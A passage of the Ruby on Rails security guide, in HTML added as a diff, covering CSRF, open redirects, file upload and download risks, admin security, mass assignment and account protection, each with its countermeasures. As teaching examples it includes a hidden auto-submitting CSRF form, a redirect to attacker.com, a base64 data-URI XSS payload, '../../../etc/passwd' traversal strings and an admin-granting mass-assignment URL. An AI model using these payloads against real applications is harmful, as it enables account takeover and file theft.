+The interaction <span style="background-color: #fffcdb;">changes the state</span> of the resource in a way that the user would perceive (e.g., a subscription to a service), or
+</p>
+</li>
+<li>
+<p>
+The user is <span style="background-color: #fffcdb;">held accountable for the results</span> of the interaction.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today‘s web browsers, however do not support them - only GET and POST. Rails uses a hidden <tt>_method</tt> field to handle this barrier.</p></div>
+<div class="para"><p><span style="background-color: #fffcdb;">The verify method in a controller can make sure that specific actions may not be used over GET</span>. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action.</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>verify :method =&gt; :post, :only =&gt; [:transfer], :redirect_to =&gt; {:action =&gt; :list}</tt></pre>
+</div></div>
+<div class="para"><p>With this precaution, the attack from above will not work, because the browser sends a GET request for images, which will not be accepted by the web application.</p></div>
+<div class="para"><p>But this was only the first step, because <span style="background-color: #fffcdb;">POST requests can be send automatically, too</span>. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;a</span></span> <span style="color: #009900">href</span><span style="color: #990000">=</span><span style="color: #FF0000">"http://www.harmless.com/"</span> <span style="color: #009900">onclick</span><span style="color: #990000">=</span><span style="color: #FF0000">"</span>
+<span style="color: #FF0000">  var f = document.createElement('form');</span>
+<span style="color: #FF0000">  f.style.display = 'none';</span>
+<span style="color: #FF0000">  this.parentNode.appendChild(f);</span>
+<span style="color: #FF0000">  f.method = 'POST';</span>
+<span style="color: #FF0000">  f.action = 'http://www.example.com/account/destroy';</span>
+<span style="color: #FF0000">  f.submit();</span>
+<span style="color: #FF0000">  return false;"</span><span style="font-weight: bold"><span style="color: #0000FF">&gt;</span></span>To the harmless survey<span style="font-weight: bold"><span style="color: #0000FF">&lt;/a&gt;</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Or the attacker places the code into the onmouseover event handler of an image:</p></div>
+<div class="para"><p><tt>&lt;img src="http://www.harmless.com/img" width="400" height="400" onmouseover="&#8230;" /&gt;</tt></p></div>
+<div class="para"><p>There are many other possibilities, including Ajax to attack the victim in the background.
The  <span style="background-color: #fffcdb;">solution to this is including a security token in non-GET requests</span> which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:</p></div>
+<div class="para"><p><tt>protect_from_forgery :secret &#8658; "123456789012345678901234567890&#8230;"</tt></p></div>
+<div class="para"><p>This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. It will raise an ActionController::InvalidAuthenticityToken error, if the security token doesn't match what was expected.</p></div>
+<div class="para"><p>Note that <span style="background-color: #fffcdb;">cross-site scripting (XSS) vulnerabilities bypass all CSRF protections</span>. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read more about XSS later.</p></div>
+</div>
+<h2 id="_redirection_and_files">4. Redirection and Files</h2>
+<div class="sectionbody">
+<div class="para"><p>Another class of security vulnerabilities surrounds the use of redirection and files in web applications.</p></div>
+<h3 id="_redirection">4.1. Redirection</h3>
+<div class="para"><p>&#8212; <em>Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack.</em></p></div>
+<div class="para"><p>Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: <a href="http://www.example.com/site/redirect?to">http://www.example.com/site/redirect?to</a>= www.attacker.com. Here is an example of a legacy action:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> legacy
+  redirect_to<span style="color: #990000">(</span>params<span style="color: #990000">.</span>update<span style="color: #990000">(:</span>action<span style="color: #990000">=&gt;</span><span style="color: #FF0000">'main'</span><span style="color: #990000">))</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:</p></div>
+<div class="para"><p><tt>http://www.example.com/site/legacy?param1=xy&amp;param2=23&amp;host=www.attacker.com</tt></p></div>
+<div class="para"><p>If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to <span style="background-color: #fffcdb;">include only the expected parameters in a legacy action</span> (again a whitelist approach, as opposed to removing unexpected parameters). <span style="background-color: #fffcdb;">And if you redirect to an URL, check it with a whitelist or a regular expression</span>.</p></div>
+<h4 id="_self_contained_xss">4.1.1. Self-contained XSS</h4>
+<div class="para"><p>Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:</p></div>
+<div class="para"><p><tt>data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K</tt></p></div>
+<div class="para"><p>This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, <span style="background-color: #fffcdb;">do not allow the user to supply (parts of) the URL to be redirected to</span>.</p></div>
+<h3 id="_file_uploads">4.2. File uploads</h3>
+<div class="para"><p>&#8212; <em>Make sure file uploads don't overwrite important files, and process media files asynchronously.</em></p></div>
+<div class="para"><p>Many web applications allow users to upload files. <span style="background-color: #fffcdb;">File names, which the user may choose (partly), should always be filtered</span> as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.</p></div>
+<div class="para"><p>When filtering user input file names, <span style="background-color: #fffcdb;">don't try to remove malicious parts</span>. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “&#8230;.//” - the result will be “../”. It is best to use a whitelist approach, which <span style="background-color: #fffcdb;">checks for the validity of a file name with a set of accepted characters</span>. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the <a href="http://github.com/technoweenie/attachment_fu/tree/master">attachment_fu plugin</a>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> sanitize_filename<span style="color: #990000">(</span>filename<span style="color: #990000">)</span>
+  returning filename<span style="color: #990000">.</span>strip <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>name<span style="color: #990000">|</span>
+    <span style="font-style: italic"><span style="color: #9A1900"># NOTE: File.basename doesn't work right with Windows paths on Unix</span></span>
+    <span style="font-style: italic"><span style="color: #9A1900"># get only the filename, not the whole path</span></span>
+    name<span style="color: #990000">.</span>gsub! <span style="color: #FF6600">/^.*(\\|\/)/</span><span style="color: #990000">,</span> <span style="color: #FF0000">''</span>
+    <span style="font-style: italic"><span style="color: #9A1900"># Finally, replace all non alphanumeric, underscore</span></span>
+    <span style="font-style: italic"><span style="color: #9A1900"># or periods with underscore</span></span>
+    name<span style="color: #990000">.</span>gsub! <span style="color: #FF6600">/[^\w\.\-]/</span><span style="color: #990000">,</span> <span style="color: #FF0000">'_'</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its <span style="background-color: #fffcdb;">vulnerability to denial-of-service attacks</span>. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.</p></div>
+<div class="para"><p>The solution to this, is best to <span style="background-color: #fffcdb;">process media files asynchronously</span>: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.</p></div>
+<h3 id="_executable_code_in_file_uploads">4.3. Executable code in file uploads</h3>
+<div class="para"><p>&#8212; <em>Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails /public directory if it is Apache's home directory.</em></p></div>
+<div class="para"><p>The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file.</p></div>
+<div class="para"><p><span style="background-color: #fffcdb;">If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it</span>, store files at least one level downwards.</p></div>
+<h3 id="_file_downloads">4.4. File downloads</h3>
+<div class="para"><p>&#8212; <em>Make sure users cannot download arbitrary files.</em></p></div>
+<div class="para"><p>Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>send_file<span style="color: #990000">(</span><span style="color: #FF0000">'/var/www/uploads/'</span> <span style="color: #990000">+</span> params<span style="color: #990000">[:</span>filename<span style="color: #990000">])</span>
+</tt></pre></div></div>
+<div class="para"><p>Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to <span style="background-color: #fffcdb;">check that the requested file is in the expected directory</span>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>basename <span style="color: #990000">=</span> File<span style="color: #990000">.</span>expand_path<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">),</span> <span style="color: #FF0000">'../../files'</span><span style="color: #990000">))</span>
+filename <span style="color: #990000">=</span> File<span style="color: #990000">.</span>expand_path<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>basename<span style="color: #990000">,</span> <span style="color: #009900">@file</span><span style="color: #990000">.</span>public_filename<span style="color: #990000">))</span>
+<span style="font-weight: bold"><span style="color: #0000FF">raise</span></span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> basename <span style="color: #990000">=!</span>
+     File<span style="color: #990000">.</span>expand_path<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span>filename<span style="color: #990000">),</span> <span style="color: #FF0000">'../../../'</span><span style="color: #990000">))</span>
+send_file filename<span style="color: #990000">,</span> <span style="color: #990000">:</span>disposition <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'inline'</span>
+</tt></pre></div></div>
+<div class="para"><p>Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.</p></div>
+</div>
+<h2 id="_intranet_and_admin_security">5. Intranet and Admin security</h2>
+<div class="sectionbody">
+<div class="para"><p>&#8212; <em>Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.</em></p></div>
+<div class="para"><p>In 2007 there was the first tailor-made <a href="http://www.symantec.com/enterprise/security_response/weblog/2007/08/a_monster_trojan.html">Trojan</a> which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.
</p></div>
+<div class="para"><p><strong>XSS</strong>  If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.</p></div>
+<div class="para"><p>Having one single place in the admin interface or Intranet where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.</p></div>
+<div class="para"><p>Refer to the Injection section for countermeasures against XSS. It is <span style="background-color: #fffcdb;">recommended to use the SafeErb plugin</span> also in an Intranet or administration interface.</p></div>
+<div class="para"><p><strong>CSRF</strong>  Cross-Site Reference Forgery (CSRF) is a giant attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.</p></div>
+<div class="para"><p>A real-world example is a <a href="http://www.symantec.com/enterprise/security_response/weblog/2008/01/driveby_pharming_in_the_
wild.html">router reconfiguration by CSRF</a>. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.</p></div>
+<div class="para"><p>Another example changed Google Adsense's e-mail address and password by <a href="http://www.0x000000.com/index.php?i=213&amp;bin=11010101">CSRF</a>. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.
</p></div>
+<div class="para"><p>Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.</p></div>
+<div class="para"><p>For <span style="background-color: #fffcdb;">countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section</span>.</p></div>
+<h3 id="_additional_precautions">5.1. Additional precautions</h3>
+<div class="para"><p>The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+It is very important to <span style="background-color: #fffcdb;">think about the worst case</span>: What if someone really got hold of my cookie or user credentials. You could <span style="background-color: #fffcdb;">introduce roles</span> for the admin interface to limit the possibilities of the attacker. Or how about <span style="background-color: #fffcdb;">special login credentials</span> for the admin interface, other than the ones used for the public part of the application. Or a <span style="background-color: #fffcdb;">special password for very serious actions</span>?
+</p>
+</li>
+<li>
+<p>
+Does the admin really have to access the interface from everywhere in the world? Think about <span style="background-color: #fffcdb;">limiting the login to a bunch of source IP addresses</span>. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
+</p>
+</li>
+<li>
+<p>
+<span style="background-color: #fffcdb;">Put the admin interface to a special sub-domain</span> such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_mass_assignment">6. Mass assignment</h2>
+<div class="sectionbody">
+<div class="para"><p>&#8212; <em>Without any precautions Model.new(params[:model]) allows attackers to set any database column's value.</em></p></div>
+<div class="para"><p>The mass-assignment feature may become a problem, as it allows an attacker to set any model's attribute by manipulating the hash passed to a model's new() method:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> signup
+  params<span style="color: #990000">[:</span>user<span style="color: #990000">]</span> <span style="font-style: italic"><span style="color: #9A1900">#=&gt; {:name =&gt; “ow3ned”, :admin =&gt; true}</span></span>
+  <span style="color: #009900">@user</span> <span style="color: #990000">=</span> User<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>user<span style="color: #990000">])</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>http://www.example.com/user/signup?user[name]=ow3ned&amp;user[admin]=1</tt></pre>
+</div></div>
+<div class="para"><p>This will set the following parameters in the controller:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>params<span style="color: #990000">[:</span>user<span style="color: #990000">]</span> <span style="font-style: italic"><span style="color: #9A1900">#=&gt; {:name =&gt; “ow3ned”, :admin =&gt; true}</span></span>
+</tt></pre></div></div>
+<div class="para"><p>So if you create a new user using mass-assignment, it may be too easy to become an administrator.</p></div>
+<h3 id="_countermeasures">6.1. Countermeasures</h3>
+<div class="para"><p>To avoid this, Rails provides two class methods in your ActiveRecord class to control access to your attributes. The attr_protected method takes a list of attributes that will not be accessible for mass-assignment. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>attr_protected <span style="color: #990000">:</span>admin
+</tt></pre></div></div>
+<div class="para"><p>A much better way, because it follows the whitelist-principle, is the <span style="background-color: #fffcdb;">attr_accessible method</span>. It is the exact opposite of attr_protected, because <span style="background-color: #fffcdb;">it takes a list of attributes that will be accessible</span>. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>attr_accessible <span style="color: #990000">:</span>name
+</tt></pre></div></div>
+<div class="para"><p>If you want to set a protected attribute, you will to have to assign it individually:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>params<span style="color: #990000">[:</span>user<span style="color: #990000">]</span> <span style="font-style: italic"><span style="color: #9A1900">#=&gt; {:name =&gt; "ow3ned", :admin =&gt; true}</span></span>
+<span style="color: #009900">@user</span> <span style="color: #990000">=</span> User<span style="color: #990000">.</span>new<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>user<span style="color: #990000">])</span>
+<span style="color: #009900">@user</span><span style="color: #990000">.</span>admin <span style="font-style: italic"><span style="color: #9A1900">#=&gt; false # not mass-assigned</span></span>
+<span style="color: #009900">@user</span><span style="color: #990000">.</span>admin <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+<span style="color: #009900">@user</span><span style="color: #990000">.</span>admin <span style="font-style: italic"><span style="color: #9A1900">#=&gt; true</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_user_management">7. User management</h2>
+<div class="sectionbody">
+<div class="para"><p>&#8212; <em>Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure.</em></p></div>
+<div class="para"><p>There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is <span style="background-color: #fffcdb;">restful_authentication</span> which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances.</p></div>
+<div class="para"><p>Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>http://localhost:3006/user/activate
+http://localhost:3006/user/activate?id=</tt></pre>
+</div></div>
+<div class="para"><p>This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>User<span style="color: #990000">.</span>find_by_activation_code<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+</tt></pre></div></div>
+<div class="para"><p>If the parameter was nil, the resulting SQL query will be</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>SELECT * FROM users WHERE (users.`activation_code` IS NULL) LIMIT 1</tt></pre>
+</div></div>
+<div class="para"><p>And thus it found the first user in the database, returned it and logged him in. You can find out more about it in <a href="http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/">my blog post</a>. <span style="background-color: #fffcdb;">It is advisable to update your plug-ins from time to time</span>. Moreover, you can review your application to find more flaws like this.</p></div>
+<h3 id="_brute_forcing_accounts">7.1. Brute-forcing accounts</h3>
+<div class="para"><p>&#8212; <em>Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA.</em></p></div>
+<div class="para"><p>A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user name's and a dictionary, an automatic program may find the correct password in a matter of minutes.</p></div>
+<div class="para"><p>Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names.</p></div>
+<div class="para"><p>However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.</p></div>
+<div class="para"><p>In order to mitigate such attacks, <span style="background-color: #fffcdb;">display a generic error message on forgot-password pages, too</span>. Moreover, you can <span style="background-color: #fffcdb;">require to enter a CAPTCHA after a number of failed logins from a certain IP address</span>. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.</p></div>
+<h3 id="_account_hijacking">7.2. Account hijacking</h3>
+<div class="para"><p>&#8212; <em>Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?</em></p></div>
+<h4 id="_passwords">7.2.1. Passwords</h4>
+<div class="para"><p>Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, <span style="background-color: #fffcdb;">make change-password forms safe against CSRF</span>, of course. And <span style="background-color: #fffcdb;">require the user to enter the old password when changing it</span>.</p></div>
+<h4 id="_e_mail">7.2.2. E-Mail</h4>
+<div class="para"><p>However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure <span style="background-color: #fffcdb;">require the user to enter the password when changing the e-mail address, too</span>.</p></div>
+<h4 id="_other">7.2.3. Other</h4>
+<div class="para"><p>Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in <a href="http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/">Google Mail</a>. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, <span style="background-color: #fffcdb;">review your application logic and eliminate all XSS and CSRF vulnerabilities</span>.</p></div>
+<h3 id="_captchas">7.3. CAPTCHAs</h3>
+<div class="para"><p>&#8212; <em>A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not to ask a user to proof that he is human, but reveal that a robot is a robot.</em></p></div>
+<div class="para"><p>But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is <a href="http://recaptcha.net/">reCAPTCHA</a> which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. <a href="http://ambethia.com/recaptcha/">ReCAPTCHA</a> is also a Rails plug-in with the same name as the API.</p></div>
+<div class="para"><p>You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
+The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.</p></div>
+<div class="para"><p>Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.</p></div>
+<div class="para"><p>Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+position the fields off of the visible area of the page
+</p>
+</li>
+<li>
+<p>
+make the elements very small or colour them the same as the background of the page
+</p>
+</li>
+<li>
+<p>
+leave the fields displayed, but tell humans to leave them blank
+</p>
+</li>
+</ul></div>
+<div class="para"><p>The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.</p></div>
+<div class="para"><p>You can find more sophisticated negative CAPTCHAs in Ned Batchelder's <a href="http://nedbatchelder.com/text/stopbots.html">blog post</a>:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
+</p>
+</li>
+<li>
+<p>
+Randomize the field names
+</p>
+</li>
+<li>
+<p>
+Include more than one honeypot field of all types, including submission buttons
+</p>
+</li>
+</ul></div>
+<div class="para"><p>Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So negative CAPTCHAs might not be good to protect login forms.</p></div>
+<h3 id="_logging">7.4. Logging</h3>
+<div class="para"><p>&#8212; <em>Tell Rails not to put passwords in the log files.</em></p></div>
+<div class="para"><p>By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers etcetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can <span style="background-color: #fffcdb;">filter certain request parameters from your log files</span> by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>filter_parameter_logging <span style="color: #990000">:</span>password
+</tt></pre></div></div>
+<h3 id="_good_passwords">7.5. Good passwords</h3>
+<div class="para"><p>&#8212; <em>Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence.</em></p></div>
+<div class="para"><p>Bruce Schneier, a security technologist, <a href="http://www.schneier.com/blog/archives/2006/12/realworld_passw.html">has analysed</a> 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:</p></div>
+<div class="para"><p>password1, abc123, myspace1, password, blink182, qwerty1, <strong>*</strong>*you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1 and monkey.</p></div>
+<div class="para"><p>It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.</p></div>
+<div class="para"><p>A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the <span style="background-color: #fffcdb;">first letters of a sentence that you can easily remember</span>. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.</p></div>
+<h3 id="_regular_expressions">7.6. Regular expressions</h3>
+<div class="para"><p>&#8212; <em>A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z.</em></p></div>
+<div class="para"><p>Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this:</p></div>
+<div class="listingblock">
